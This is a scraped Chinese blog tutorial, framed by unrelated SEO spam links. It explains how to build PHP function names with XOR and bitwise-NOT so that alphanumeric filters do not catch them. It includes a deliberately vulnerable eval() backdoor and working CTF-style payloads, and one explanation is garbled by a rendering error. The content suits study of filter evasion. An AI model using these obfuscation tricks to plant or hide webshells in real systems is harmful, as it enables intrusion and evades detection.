当前位置: 首页 > news >正文

威海房地产网站建设百度投流运营

威海房地产网站建设,百度投流运营,深圳高端女装品牌,软件开发专业好就业吗文章目录 webshell前置知识进阶绕过 webshell 前置知识 <?phpecho "A"^""; ?>运行结果 可以看到出来的结果是字符“&#xff01;”。 为什么会得到这个结果&#xff1f;是因为代码的“A”字符与“”字符产生了异或。 php中&#xff0c;两个变…

文章目录

  • webshell
    • 前置知识
    • 进阶绕过

webshell

前置知识

<?phpecho "A"^"`";
?>

运行结果
在这里插入图片描述

可以看到出来的结果是字符“!”。

为什么会得到这个结果?是因为代码的“A”字符与“`”字符产生了异或。

php中,两个变量再进行异或的时候,它会将字符串转换成ASCII码,然后将ASCII码转换成二进制再来进行异或操作,异或完,又将二进制的结果转换成ASCII码,再将ASCLL码转换成字符串。

那么什么是异或?

异或操作就是两个二进制数在一起对比时,相同的为0,不同的为1

比如

A的ASCII码是65,对应的二进制是0100 0001

`的ASCII码是96,对应的二进制是0110 0000

那么,异或后,就是0010 0001,对应的ASCII码是33,对应的字符串就是!

接下来,看另外一个代码

<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>

这个代码的运行结果为:Hello Angel_Kitty
在这里插入图片描述

分析一下代码

$_++;就是将"_"这个变量进行自增的操作,在PHP中,通常未定义的变量默认值为null,而nullfalse0,所以,我们可以通过这样的方法来得到一个数字。

$__="?" ^ "}";对字符"?""}"进行了异或运算,将得到的结果B赋给变量名为"__"(两个下划线)的变量

$ __ ();通过上面的赋值操作,变量$__的值就变成了B,所以这一行代码可以被看作B(),相当于调用函数B。所以运行后的结果是Hello Angel_Kitty。

我们可以通过这样转换的方法来绕过那些会检测我们的代码。

像是_POST",“system”,"call_user_func_arry"这些我们需要的字符串能够进行转换,或是其他的一些我们需要的东西。

下面是一个简单的PHP后门:

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
// flag.php
<?phpfunction getFlag(){echo "hello world";}
?>

payload

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

运行后的结果
在这里插入图片描述

<?phpecho "`{{{"^"?<>/";//_GET
?>

首先,这个的运行结果是
在这里插入图片描述

那么前面的KaTeX parse error: Expected '}', got 'EOF' at end of input: … 中,然后前面又加了个字符,就变成了 $ _GET,又因为& _=getFlag,那么$ _GET又赋值了一个getFlag,所以就变成了调用getFlag函数。

第二种解法:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

也是一样的效果
在这里插入图片描述

进阶绕过

<?php include'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); 
}else{ highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

因为这个代码把_过滤了,所以我们需要用异或的方式

echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");echo "@@^|@@@" ^ "'%*:,!'";

在这里插入图片描述

可以看到,我们这两行代码在进行异或操作过后,都是getFlag

所以最终的payload是

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

因为前面的代码中过滤了字母、数字和下划线,所以这边采用一下汉字来作为变量名。

然后,运行结果也是同样的hello world
在这里插入图片描述

http://www.yayakq.cn/news/337637/

相关文章:

  • 北京注销网站备案网页游戏网站下载
  • 我的网站模板辛集城乡建设管理局网站
  • 网站设计专业就业方向有哪些网站开发所需费用支出有哪些
  • 百度云免费做网站自己网站做搜索引擎优化
  • 网群企业网站管理系统网站商城建设基本流程
  • 织梦app网站模板网站提现功能开发
  • 网站正在建设mp4php 网站开发平台
  • 单页面个人网站网站如何做修改密码的相关验证
  • 网上房地产网站网店推广的方式
  • 北京市公司网站制作域名注册服务的公司网站
  • 专门做库存的网站好看wordpress主题
  • 织梦网站建设案例怎么做无货源网店
  • 微商城网站建设行情天门市规划建设局网站
  • 做网站可以用海外空间吗wordpress魔方
  • 郑州投资网站建设做视频找素材的网站
  • 石家庄商城网站搭建多少钱使用框架开发wordpress
  • 为公益组织做网站冯耀宗seo
  • 常熟市住房建设局网站重庆荣昌网站建设
  • 网站推广方法的费用传奇辅助网站怎么建设
  • 汕头网站建设详细内容wordpress_ joomla_ drupal
  • 做企业网站的多少钱wordpress host头攻击
  • 网站开发项目书企业营销型网站制作
  • 网页设计制作网站代码网站访问pv量是指什么
  • 传统网站网站精准营销的概念是什么
  • 重庆市官方网站福田保安公司招聘
  • 佛山网站建设公司哪专业上海平面设计公司排名
  • 莞城网站推广媒体网站 建设网络强国
  • 新乡网站优化公司货运公共平台
  • 代理机构做的网站找不到人了怎么办婚庆公司报价套餐
  • 做窗帘的厂家网站WordPress cosy破解版